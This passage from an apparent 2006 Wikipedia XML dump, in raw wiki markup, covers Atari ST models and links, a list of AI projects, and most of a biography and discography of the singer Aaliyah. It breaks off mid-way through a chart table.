* 520ST&lt;sup&gt;E&lt;/sup&gt; and 1040ST&lt;sup&gt;E&lt;/sup&gt; - a 520STFM/1040STFM with enhanced sound, the BLiTTER chip, and a 4096-color palette, in the older 1040 style all-in-one case
* [[Atari MEGA STE|Mega STE]] - same hardware as 1040STE except for a faster 16-MHz processor, in the TT case
* STacy - A [[portable computer|portable]] (but definitely not [[laptop]]) version of the ST. Originally designed to operate on 12 standard [[C cell]] flashlight batteries for portability, when Atari finally realized how quickly the machine would use up a set of batteries (especially when rechargeable batteries of the time supplied insufficient power compared to the intended alkalines), they simply glued the lid of the battery compartment shut, and soon discontinued the machine.
* ST Book (later version portable ST), vastly more portable than the STacy, but sacrificing several features in order to achieve this - notably the backlight, and internal floppy disc drive. Files were meant to be stored on a small amount (1 MiB - though you could fit a lot into 1 and a half floppies back then) of internal flash memory 'on the road' and transferred using serial or parallel links, memory flashcards or external (and externally powered) floppy disc to a 'real' desktop ST once back indoors. The screen is highly reflective for the time, but still hard to use indoors or in low light (the idea of a switchable green LED backlight seeming not to have inspired the Atari technical department as it did many wristwatch manufacturers), it is fixed to the 640x400 1-bit mono mode (not even greyscale emulation of colour in low res is offered), and no external video port was provided. For its limitations, it gained some popularity as being the most utterly portable 'real' computer of the day (slim, light, quiet, reliable, and with a long battery life, even by today's standards for all 5), particularly amongst musicians already used to using the original computer and perhaps having lugged a STacy or even a full ST + Monitor + accessories rig on tour.

== Other models ==

* [[Atari TT|Atari TT030]] &amp;mdash; new machine based on the [[Motorola 68030]] processor running at 32 MHz, in yet another new case design with a detached keyboard. Capable of high screen resolutions with better colour palletes and addressing more memory, with optional onboard hard drive (slotting onto the base as a second, smaller box). Popular with CAD and DTP communities of the time for its sheer graphical capability (it's high resolution only recently having become a common size on modern PCs) and processing speed.
* [[Atari Falcon|Atari Falcon 030]] &amp;mdash; another 68030 based (albeit only 16 MHz) machine like the TT, but in the 1040-style case (yet again) with further upgrades to the graphics and sound, a [[Motorola 56000]] [[digital signal processor|DSP]] for CD-quality sound recording and processing, multitasking OS (on disk) and a [[LocalTalk]] port for networking.
* Medusa 040, Medusa 060, Hades 040, Hades 060 &amp;mdash; 3rd-party Falcon/TT compatible machines manufactured by [[Medusa Computer Systems]].
* Atari ABAQ, or [[Atari Transputer Workstation]] &amp;mdash; A standalone machine containing modified ST hardware and up to 17 transputers capable of massively parallel operations for tasks such as ray tracing.
* Atari Portfolio, a pocket-calculator sized PC XT (as seen being used by John Connor in the film ''[[Terminator 2: Judgment Day]]''), and forerunner to modern PDAs. Designed to easily link up and transfer data with STs using a parallel cable and simple software.
(Also: several Atari PCs - though there was talk of it, none were released with dual PC and ST operating capability onboard, possibly because the ST would have embarrassed the outdated hardware Atari chose to put in their budget IBM clones)

There were also some unreleased prototypes: [http://www.atari-explorer.com/protos-falcon040.html Falcon 040] (''external link'') (based on a [[Motorola 68040]], new case and slots), ST Pad (A4 (Letter paper) sized pen-operated portable ST computer, handheld and with an unlit monochrome LCD screen derived from the ST Book, forerunner of modern tablet PCs), and the STylus (Apple Newton-style palmtop).

== Trivia ==

The standard 8x8 pixel graphical character set for the ST (the main in-ROM &quot;font&quot; for GEM, and text-mode TOS operations) contains, following all the standard numbers, letters, symbols and accented characters, four unusual characters. These can be placed together in a square, forming a basic but recognisable facsimile of the face of [[J. R. &quot;Bob&quot; Dobbs]], the supposed founder of the [[Church of the Subgenius]].

Jack Tramiel chose to include the [[Hebrew alphabet]] with ST's ROM character set because of his Jewish heritage.

== See also ==
*[[List of Atari ST games]]
*[[Atari ST demos]] &amp;mdash; The [[demoscene]] on the Atari ST.

== External links ==
*[http://atari-ste.anvil-soft.com Atari STE fanpage]

===History===
*[http://www.atarimagazines.com/startv3n1/threeyearsofst.html &quot;3 Years With the ST&quot; article]

===General===
*http://www.atarilegend.com
*http://www.atari-forum.com
*http://www.atarihq.com
*http://www.atari.org
*http://www.atari-history.com
*http://www.atarihistory.de
*http://www.atari.st

===The machines===
*[http://yescrew.real-atarian.net/eng/atari.htm Atari Gallery] &amp;ndash; Descriptions of the various ST models; courtesy of ''[http://yescrew.real-atarian.net YesCREW]''

===Free Emulators===
*http://steem.atari.org
*http://saint.atari.org
*http://stonx.sourceforge.net
*http://hatari.sourceforge.net

(there are also commercial emulators)

===Software===
*http://www.umich.edu/~archive/atari/ &amp;mdash; The Atari section of the [[University of Michigan]] software archives.
*[http://users.pandora.be/tos4ever/utsi.htm Ultimate TOS Software Index]
*[http://www.medcalcsoftware.com/legacysoftware/atari/ 3D-Calc freeware spreadsheet for Atari ST]

===Hardware===
*[http://www.hardwarebook.net/connector/userinput/atarimousejoy.html HwB: Atari Mouse/Joy Connector]

===3rd-party manufacturers===
*[http://www.kingx.com/kingx/medusa/thes.html Medusa Computer Systems] &amp;mdash; Manufacturers of the Medusa 040, Medusa 060, Hades 040, Hades 060.

===Lists of links===
*[http://www.doitarchive.de/link.htm Atari Web Links]

[[Category:Home computers]]
[[Category:Personal computers]]
[[Category:Atari ST]]

[[de:Atari ST]]
[[es:Atari ST]]
[[fr:Atari ST]]
[[hr:Atari ST]]
[[it:Atari ST]]
[[pl:Atari ST]]
[[fi:Atari ST]]
[[sv:Atari ST]]</text>
    </revision>
  </page>
  <page>
    <title>List of Artificial Intelligence projects</title>
    <id>2142</id>
    <revision>
      <id>40533808</id>
      <timestamp>2006-02-21T06:36:08Z</timestamp>
      <contributor>
        <username>Ralf Klinkenberg</username>
        <id>966841</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">This is a list of current and past [[artificial intelligence]] projects.

* [[CCortex]] A planned 20-billion neuron simulation of the Human Cortex and peripheral systems.
* [[MIT Cog project | Cog]], MIT's robot baby.
* [[Cyc]] a knowledge base with vast collection of facts about the real world and logical reasoning ability.
* [[Eurisko]], a language for solving problems which consists of heuristics, including heuristics for how to use and change its heuristics. Developed in [[1978]] by Douglas Lenat. 
* [[Mindpixel]] &quot;The Planet's Largest Artificial Intelligence Effort&quot;
* [[Novamente]] &quot;The Novamente AGI System is designed to be a pure learning machine, with the capability to learn how to perceive, cognize, act and interact based on experience. Novamente's design philosophy stresses cognitive sophistication and conceptual correctness over immediate behavioral and programmatical benefit.&quot;
* [[SHRDLU]], an early natural language understanding computer program developed in [[1968]]-[[1970]]. It understood orders like  &quot;find a block which is taller than the one you are holding and put it into the box&quot;.
* [[Adaptive AI]] &quot;a2i2 is a commercial Artificial General Intelligence development effort. A small team located in LA, company formed in 2001.&quot;
* [[CodeSimian programming language]] is a [[programming language]] specialized in building [[artificial intelligence]].
* [[Chinook]] was declared the Man-Machine World Champion in [[checkers|checkers (draughts)]] in 1994.
* [[Deep Blue]], a chess-playing computer, beat [[Garry Kasparov]] in a famous match in 1997.
* [[InfoTame]], a text analysis search engine developed by the KGB for automatically sorting millions of pages of communications intercepts.
* [[SYSTRAN]] translation system are widely used in [[Alta Vista]], [[Google]] etc., although results are not yet comparable with human translators.
* [[Open Mind Common Sense]], a project to build a large common sense knowledge base from the contributions of thousands of people across the Web.

==External links==
* [http://www.ai.mit.edu/projects/infolab Start] is a natural language answering system.
* [http://www.bitesizeinc.net/index.php/ainebot.html Ainebot] is an AI chatbot project based on A.L.I.C.E.
* [http://www.adaptiveai.com AdaptiveAI.com] a2i2 website.
* [http://www.ad.com/ Artificial Development]  - Artificial Development is building CCortex. With a planned 20 billion neurons and 20 trillion connections, CCortex will be up to 10.000 times larger than any previous attempt to replicate primary characteristics of Human Intelligence.
* [http://mind.sourceforge.net MindForth] is an attempt to build a [[Seed AI]] by simulating Human mental processes.
* [http://questsin.net questsin] Artificial Intelligence clustering of English words based on symbolic similarities, similar to a Thesaurus but larger in scope
* [http://www-ai.cs.uni-dortmund.de/ Artificial Intelligence Group @ University of Dortmund], Germany: [http://yale.sf.net/ YALE (Yet Another Learning Environment)]: project building and providing a free open-software system for knowledge discovery, data mining, and machine learning</text>
    </revision>
  </page>
  <page>
    <title>Aaliyah</title>
    <id>2144</id>
    <revision>
      <id>42140339</id>
      <timestamp>2006-03-04T02:12:26Z</timestamp>
      <contributor>
        <ip>24.51.17.150</ip>
      </contributor>
      <comment>/* Death */</comment>
      <text xml:space="preserve">{{dablink|For the Jewish cultural concept  see [[Aliyah]].}}

[[Image:Aaliyah-one-in-a-million.jpg|thumb|250px|right|Aaliyah on the cover of her most successful album, ''[[One in a Million (album)|One in a Million]]''.]]
'''Aaliyah Dana Haughton''' ([[January 16]], [[1979]] &amp;ndash; [[August 25]], [[2001]]), better known simply as her [[stage name]] '''Aaliyah''', was an [[United States|American]] [[Rhythm and blues|R&amp;B]] [[singer]], [[dancer]], [[Model (person)|fashion model]] and [[Actor|actress]]. Introduced to audiences by R&amp;B singer [[R. Kelly]], Aaliyah became famous in her own right during the mid-1990s with several hit records from the songwriting/production team of [[Missy Elliott|Missy &quot;Misdemeanor&quot; Elliott]] and [[Timbaland]], and their associate [[Steve &quot;Static&quot; Garrett]]. 

Notable for recording several hit records, including five number one [[Rhythm and blues|R&amp;B]] hits, one number one pop hit, and seven top 10 singles on the [[Billboard Hot 100]], Aaliyah sold over 24 million records worldwide during her career. The singer also modeled for [[Tommy Hilfiger]] and starred in two [[Film|motion pictures]] before her death in a [[Accidents and incidents in aviation|plane crash]] in 2001 at the age of 22.

==Life and career==
[[Image:Aaliyah-age-aint-94.jpg|left|200px|thumb|Aaliyah and [[R. Kelly]] on the cover of the 1994 album ''[[Age Ain't Nothing but a Number]]''.]]

===Childhood and early career===
Aaliyah (Ah-Lee-Yah) was born in [[Brooklyn, New York]] to Michael and Diane Haughton. Her name is Arabic for the highest, most exalted one, the best. She grew up in [[Detroit, Michigan]] where she attended various schools including the Detroit High School for Fine and Performing Arts. Aaliyah signed with her uncle [[Barry Hankerson]]'s [[Blackground]] label in 1993 and released her debut album, titled ''[[Age Ain't Nothing but a Number]],'' in 1994. The album reached [[Platinum record|platinum status]] within months, and featured the gold-selling singles &quot;Back and Forth&quot; (number one U.S. R&amp;B, 3 weeks), and &quot;At Your Best (You Are Love)&quot; (number two U.S. R&amp;B), a cover of the 1976 [[Isley Brothers]] single. The album went on to reach double platinum status with sales of over two million copies in the U.S. and five million worldwide.

It was revealed that in 1994, when she was 15, she was married to [[R&amp;B]] singer/songwriter R. Kelly, the producer of ''Age Ain't Nothing but a Number''. [[Vibe magazine|''VIBE'' magazine]] in 1995 published a copy of their marriage certificate and claimed Aaliyah had falsified her age as 18 so she and Kelly could be married. Neither agreed or denied the accusations.  Both parties had the marriage quickly annulled when the press found out about the union. R. Kelly did not work on any of Aaliyah's future recordings.

===''One in a Million'' (1996)===
''[[One in a Million (album)|One in a Million]]'', Aaliyah's sophomore album, was chiefly written and produced by then unknowns [[Missy Elliott]] and Tim &quot;Timbaland&quot; Mosley and released on [[August 27]] 1996. The album was a landmark in Aaliyah's career, garnering her mass critical acclaim and introducing Aaliyah's more mature side. It embarked the newfound chemistry of Aaliyah and Timbaland. The album was certified double-platinum within a year, making Aaliyah a major R&amp;B star and igniting the successful careers of Missy Elliott and Timbaland. ''One in a Million'' featured the international smash hit &quot;If Your Girl Only Knew&quot; (number one U.S. R&amp;B, 2 weeks), &quot;One in a Million,&quot; (number one U.S. R&amp;B airplay, six weeks) and the top 10 U.S. R&amp;B single &quot;The One I Gave My Heart To,&quot; a ballad written by [[Diane Warren]]. The album also included &quot;4 Page Letter&quot; which also received significant airplay on U.S. pop and R&amp;B radio.

Tommy Hilfiger took notice of Aaliyah's &quot;street but sweet&quot; image and gave Aaliyah her first endorsement deal. He immediately signed Aaliyah onto print campaigns, runway shows, and a commercial.  During this period, Aaliyah would also make guest appearances on albums by artists such as Missy Elliott, [[Timbaland &amp; Magoo]], [[Ginuwine]] and [[Playa (band)|Playa]]. Timbaland and Playa's frontman [[Steve &quot;Static&quot; Garrett]] would remain Aaliyah's principal collaborators for the duration of her career. To date, ''One in a Million'' has sold over 3 million copies in the U.S. and eight million worldwide.

[[Image:romeo_must_die_dvd.jpg|thumb|200px|right|''[[Romeo Must Die]]'' DVD cover]]

===Movie roles and soundtracks===
In 1997, Aaliyah appeared on the soundtrack album for the [[Fox Animation Studios]] animated feature ''[[Anastasia (1997 movie)|Anastasia]]'', singing the pop version of &quot;Journey to the Past&quot;. The song was nominated for an [[Academy Award]], and Aaliyah performed the song at the 1997 Academy Awards ceremony, making history. Aaliyah became the youngest female recording artist to perform at the ceremony.

Aaliyah had a huge hit in 1998 with &quot;Are You that Somebody&quot; (number one U.S. R&amp;B airplay, eight weeks), the main single from the ''[[Doctor Dolittle (movie)|Doctor Doolittle]]'' soundtrack. Its video was the third most-played on [[MTV]] that year, and the song's success helped make Aaliyah a household name. The single was a Top 10 hit on the Billboard [[Hot 100 Airplay]] chart.

In 2000, she co-starred with [[Jet Li]] in the [[martial-arts]] film ''[[Romeo Must Die]]'', which debuted at number two at the box office.  Aaliyah and Timbaland executive produced the film's soundtrack album and Aaliyah contributed four songs: &quot;Are you Feelin' Me?,&quot; &quot;I Don't Wanna,&quot; &quot;Back in One Piece,&quot; a duet with [[DMX_(rapper)|DMX]], and the international number one hit &quot;Try Again.&quot;  Aaliyah made history once again with her hit single &quot;Try Again.&quot; It became the first song in history to ever reach number one on the Billboard Hot 100 based solely on the strength of its radio airplay, without any single sales factored.  After the huge success of &quot;[[Try Again]]&quot; at radio, a [[12 inch single|12&quot; maxi single]] was released for consumer purchase. The radio-only single, &quot;I Don't Wanna&quot;,  peaked at  number 35 on the Billboard Hot 100, and number five on the Billboard Hot R&amp;B/Hip Hop Singles &amp; Tracks chart. 

In 2001, Aaliyah went to [[Australia]] to co-star with [[Stuart Townsend]] in the film ''[[Queen of the Damned]]'', an adaptation of the [[Anne Rice]] novel of the same name.  While filming ''Queen of the Damned'', Aaliyah also recorded most of her third studio album, ''[[Aaliyah (album)|Aaliyah]]''.

===''Aaliyah'' (2001)===
[[Image:Aaliyah001.jpg|thumb|200px|left|Aaliyah in the video for the 2001 single &quot;We Need a Resolution&quot;]]
&quot;We Need a Resolution,&quot; the first single from Aaliyah's highly-anticipated third studio album, was released in April of 2001. The self-titled ''Aaliyah'' was released four months later on [[July 17]], 2001. The album was a critical success, introducing a darker and edgier side to Aaliyah's music, and was noted as having showcased her growth as an artist. The album debuted at number two on the [[Billboard 200]] chart, selling over 187,000 copies in its first week, and was certified gold (500,000 copies sold) within four weeks, before her death.

In the summer of 2001, Aaliyah filmed the video for ''Aaliyah's'' intended second single, &quot;More than a Woman&quot;.  After the video was completed, however, it was decided &quot;Rock the Boat&quot; should be the second single instead, and the &quot;More than a Woman&quot; video was temporarily shelved.

===Death===
Aaliyah traveled to the [[Bahamas]] in August 2001 to film the &quot;Rock the Boat&quot; video with director [[Hype Williams]]. On [[August 25]], [[2001]], at 6:45 pm, just after filming was completed, Aaliyah and 7 friends boarded a [[Cessna 402]] small aircraft en route to [[Miami, Florida]]. The journey would have taken approximately 1 hour travel time. Instead, as the plane was lifting off the runway nosedived and impacted in a marsh on the south side of the departure end runway 27. All nine people aboard, including Aaliyah, the pilot and the other seven passengers, were killed. 

Investigators determined the plane was over its total gross weight by several hundred pounds. Although those responsible claimed that the passengers had been asked to leave some luggage behind and had refused, it was later discovered that the passengers, including Aaliyah, had not been informed of the excess weight. Furthermore, an [[autopsy]] of the pilot revealed [[cocaine]] and [[alcoholic_beverage| alcohol]] in his blood. Reports have also suggested the pilot of the plane falsely obtained his licence from Black Hawk Airways by showing hundreds of hours never flown, suggesting he was not qualified to pilot the plane to begin with.

As a result of the accident, Barry &amp; Sons, Inc., a [[corporation]] formed in 1992 to develop, promote and capitalize on the musical talents of Aaliyah, and to oversee the production and distribution of her records, tapes and music videos, brought an unsuccessful lawsuit against Instinct Productions LLC, (a company hired by Barry &amp; Sons, Inc. in August, 2001 to produce a music video entitled &quot;Rock the Boat&quot;) in [[New York Supreme Court|the Supreme Court of the State of New York]].  The case was dismissed since New York State's [[wrongful death]] statute only permits certain people to recover damages for wrongful death.

* [http://www.courts.state.ny.us/reporter/3dseries/2005/2005_00096.htm Text of appellate division decision dismissing the case]

==Legacy==
&quot;Rock the Boat&quot; went on to become a posthumous hit on radio (reaching number two on Billboard's Hot R&amp;B Singles charts and number 14 on the Hot 100) and video channels, and the news of Aaliyah's death gave her album a notable sales boost, pushing it to number one on the Billboard 200.  The album's two subsequent singles, &quot;More than A Woman&quot; reached number seven on Billboard's Hot R&amp;B singles chart and  number 25 on Hot 100.  &quot;I Care 4 U&quot; reached number three on Billboard's Hot R&amp;B singles chart and number 13 on the Hot 100, the latter attaining success even without the promotional push of a [[music video]]. the ''Aaliyah'' album went on to reach 3X platinum status, with sales of 3.0 million in the U.S. and six million worldwide.

''Queen of the Damned'' was released in early 2002. Before its release, Aaliyah's brother Rashad was called upon to re-dub several of his sister's lines during the post-production [[dubbing|ADR]] process.  Upon its release, the film debuted at number one.

In 2002, a posthumous greatest hits collection, ''[[I Care 4 You]]'', was released in Aaliyah's name.  In addition to well-known hits, it also included six previously unreleased songs from the [[Blackground]] vaults Aaliyah had recorded over the course of her career, including &quot;Miss You,&quot; which became the album's lead single. Its video features Missy Elliott, [[Lil Kim]], [[Toni Braxton]], AJ, Free, Tweet, U-God (of the ''[[Wu-Tang Clan]]'') and DMX, among others, paying tribute to Aaliyah.

Aaliyah was to have had a supporting role as the wife of [[Harold Perrineau Jr.]]'s character, Link, in the two sequels to ''[[The Matrix]]''; her role was ultimately filled by [[Nona Gaye]].  Other films in which Aaliyah was signed to star in were ''[[Honey (movie)|Honey]]'' (which instead was filmed with [[Jessica Alba]] as the star), and a [[Whitney Houston]]-produced remake of the 1976 film ''[[Sparkle (1976 film)|Sparkle]]''. In addition, Aaliyah and one of her agents had pitched and inked a deal with [[Fox Searchlight]] Pictures for her to star in a film based upon a true story about interracial love.

Aaliyah is interred in the [[Ferncliff Cemetery|Ferncliff Cemetery and Mausoleum]] in [[Hartsdale, New York]].

==Trivia==
*Aaliyah and former [[The Beatles|Beatle]] [[George Harrison]] made UK Chart History in January 2002 when they scored the first, and to this date only, back-to-back posthumous number one hits. Aaliyah's &quot;More than a Woman&quot;, released on [[January 7]] and topped the chart on [[January 13]], was followed by Harrison's &quot;[[My Sweet Lord]]&quot;, re-released on [[January 14]] and topped the chart on [[January 20]].
*Trent Reznor of [[Nine Inch Nails]] was to produce a song on Aaliyah's last album, ''Aaliyah'', but scheduling conflicts did not permit the collaboration.
*In early/mid 2005 four previously unreleased Aaliyah tracks were leaked to the Internet: a remake of [[Gladys Knight &amp; the Pips]]'s &quot;Giving Up&quot;, &quot;Where Could He Be&quot; featuring Missy Elliot and [[Tweet (singer)|Tweet]] (which was sent to radio stations), &quot;Steady Ground&quot; featuring Static from Playa, and a duet with Digital Black from Playa entitled &quot;Dont Think They Know&quot;.
*At age 19, Aaliyah was the youngest singer to ever perform at the Oscars.
*Aaliyah was the face for Tommy Hilfiger's new line of street-but-sweet fashion in 1996-1997.
*In 1998, Aaliyah was the spokesperson for [[Clairol]]'s hair product for women of color, Texture and Tones.
*Grammy-winning R&amp;B singer [[Gladys Knight]] was Aaliyah's aunt by Knight's former marriage to Aaliyah's uncle, Barry Hankerson.
*Aaliyah is Arabic for &quot;highest, most exalted one, the best.&quot;
*In January 2006, a new previously unreleased Aaliyah track was leaked to the Internet: &quot;Time&quot; (Snippet of Unfinished Song) produced by Timbaland, which was originally recorded for the soundtrack of ''[[30 Years to Life]]'' (2002)
*Aaliyah's maternal grandmother, Mintis L. Hicks Hankerson, was a [[Native American]]
*Aaliyah was considered for the role of Alex in the 2000 film ''[[Charlie's Angels (film)|Charlie's Angels]]'', but was too young at the time.
*On February 1, 2006, [[Mary J. Blige]] insinuated on ''[[The Oprah Winfrey Show]]'' that although her and Aaliyah were not close friends, She had claimed that Aaliyah had been involved in the same cycle of drug and alcohol abuse that lead to her demise and made Blige relate to the events in her life to break free of her depression.
&lt;!---commented out b/c Kelly and Aaliyah were indeed married. In February 2006, a DVD surfaced in which [[R. Kelly]]'s brother Carey Kelly claims that Aaliyah did in fact have a sexual relationship with R. Kelly.--&gt;
* The song [[Take Away]] is dedicated to her.

==Discography==
&lt;!--keep this concise and readable. We don't need large dumps of unformatted information.--&gt;
===Albums===
====Studio albums====
{| class=&quot;wikitable&quot;
|-
! Year !! Title !! [[Billboard 200]] peak !! US sales !! Worldwide sales
|-
|[[1994 in music|1994]] || ''[[Age Ain't Nothing But A Number]]''|| 18 || 2.2 million || 5 million
|-
|[[1996 in music|1996]] || ''[[One In A Million]]'' || 18 || 3.0 million || 8 million
|-
|[[2001 in music|2001]] || ''[[Aaliyah (album)|Aaliyah]]'' || 1 || 3.0 million || 6 million 
|}

====Compilations====
{| class=&quot;wikitable&quot;
|-
! Year !! Title !! [[Billboard 200]] peak !! US sales !! Worldwide sales
|-
|[[2000 in music|2000]] || ''[[Romeo Must Die (soundtrack)|Romeo Must Die]]''&lt;br /&gt;''(includes four of her songs)'' || 3 || 1 million || 3 million
|-
|[[2002 in music|2002]] || ''[[I Care 4 U]]''&lt;br /&gt;''(released posthumously)'' || 3 || 1.6  million || 3 million
|-
|[[2005 in music|2005]] || ''[[Ultimate Aaliyah]]'' ||-||-||-
|}

=== Chart Singles ===
{| class=&quot;wikitable&quot;
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|Year
!align=&quot;left&quot; valign=&quot;top&quot;|Song
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|[[Billboard Hot 100|US]]
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|[[Hot R&amp;B/Hip-Hop Singles &amp; Tracks |US R&amp;B]]
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|[[Hot Dance Music/Club Play|US Dance]]
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|[[UK singles chart|UK]]
|-
|align=&quot;center&quot; valign=&quot;top&quot;|[[1994 in music|1994]]
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Back and Forth&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|5
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|16
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1994
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;At Your Best (You Are Love)&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|6
|align=&quot;center&quot; valign=&quot;top&quot;|2
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|27
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1994
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Age Ain't Nothing But a Number&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|75
|align=&quot;center&quot; valign=&quot;top&quot;|35
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|32
|-
|align=&quot;center&quot; valign=&quot;top&quot;|[[1995 in music|1995]]
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Down With the Clique&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|33
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1995
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;The Thing I Like&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|33
|-
|align=&quot;center&quot; valign=&quot;top&quot;|[[1996 in music|1996]]
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;I Need You Tonight&quot; &lt;br /&gt; ''([[Junior MAFIA]] featuring Aaliyah)'' &lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;
|align=&quot;center&quot; valign=&quot;top&quot;|60
|align=&quot;center&quot; valign=&quot;top&quot;|43
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1996
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;If Your Girl Only Knew&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|11
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|21
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1996
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;One In a Million&quot; &lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;center&quot; valign=&quot;top&quot;|2
|align=&quot;center&quot; valign=&quot;top&quot;|15
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1996
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Are You Ready&quot; &lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|42
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1996
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Got To Give It Up&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|37
|-
|align=&quot;center&quot; valign=&quot;top&quot;|[[1997 in music|1997]]
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;4-Page Letter&quot; &lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;
|align=&quot;center&quot; valign=&quot;top&quot;|18
|align=&quot;center&quot; valign=&quot;top&quot;|4
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|24
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1997
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Hot Like Fire&quot; ''([[remix]])'' &lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;
|align=&quot;center&quot; valign=&quot;top&quot;|--
|align=&quot;center&quot; valign=&quot;top&quot;|31
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|30
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1997
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;The One I Gave My Heart To&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|9
|align=&quot;center&quot; valign=&quot;top&quot;|8
|align=&quot;center&quot; valign=&quot;top&quot;|18
|align=&quot;center&quot; valign=&quot;top&quot;|30
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1997
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Journey To the Past&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|27
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|22
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1997
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Up Jumps the Boogie&quot; &lt;br /&gt; ''(Timbaland &amp; Magoo featuring Aaliyah and [[Missy Elliott]])''
|align=&quot;center&quot; valign=&quot;top&quot;|12
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|-
|align=&quot;center&quot; valign=&quot;top&quot;|[[1998 in music|1998]]
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Are You That Somebody?&quot; &lt;sup&gt;[[#Notes|3]]&lt;/sup&gt;
|align=&quot;center&quot; valign=&quot;top&quot;|3
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|11
|-
|align=&quot;center&quot; valign=&quot;top&quot;|[[1999 in music|1999]]
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;You Won't See Me Tonight&quot; &lt;br /&gt; ''([[Nas (rapper)|Nas]] featuring Aaliyah)''
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|44
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|-
|align=&quot;center&quot; valign=&quot;top&quot;|[[2000 in music|2000]]
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;I Don't Wanna&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|35
|align=&quot;center&quot; valign=&quot;top&quot;|5
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|-
|align=&quot;center&quot; valign=&quot;top&quot;|2000
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Try Again&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;center&quot; valign=&quot;top&quot;|4
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|5
|-
|align=&quot;center&quot; valign=&quot;top&quot;|2000
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Come Back In One Piece&quot; &lt;br /&gt; ''(featuring DMX)''
|align=&quot;center&quot; valign=&quot;top&quot;|-
